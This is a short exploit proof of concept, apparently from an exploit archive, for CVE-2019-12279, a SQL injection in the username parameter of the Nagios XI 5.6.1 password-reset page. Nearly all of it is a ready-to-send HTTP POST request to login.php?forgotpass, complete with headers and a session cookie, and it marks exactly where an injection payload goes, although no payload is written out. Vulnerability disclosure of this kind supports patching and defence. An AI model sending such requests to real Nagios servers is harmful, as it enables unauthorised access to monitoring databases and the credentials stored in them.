Nagios XI 5.6.1 SQL Injection

`# Exploit Title: Nagiosxi username sql injection  
# Date: 22/05/2019  
# Exploit Author: JameelNabbo  
# Website: jameelnabbo.com  
# Vendor Homepage: https://www.nagios.com  
# Software Link: https://www.nagios.com/products/nagios-xi/  
# Version: xi-5.6.1  
# Tested on: MacOSX  
#CVE: CVE-2019-12279  
  
POC:  
  
POST /nagiosxi/login.php?forgotpass HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://example.com/nagiosxi/login.php?forgotpass  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 129  
Connection: close  
Cookie: nagiosxi=iu78vcultg46f35fq7lfbv8tc6  
Upgrade-Insecure-Requests: 1  
  
page=%2Fnagiosxi%2Flogin.php&pageopt=resetpass&nsp=cb6ad70efd0cc0b36ff4fc1d67cd70fb96a7e06622d281acb8810aa65485b03b&username={SQL INJECTION}  
`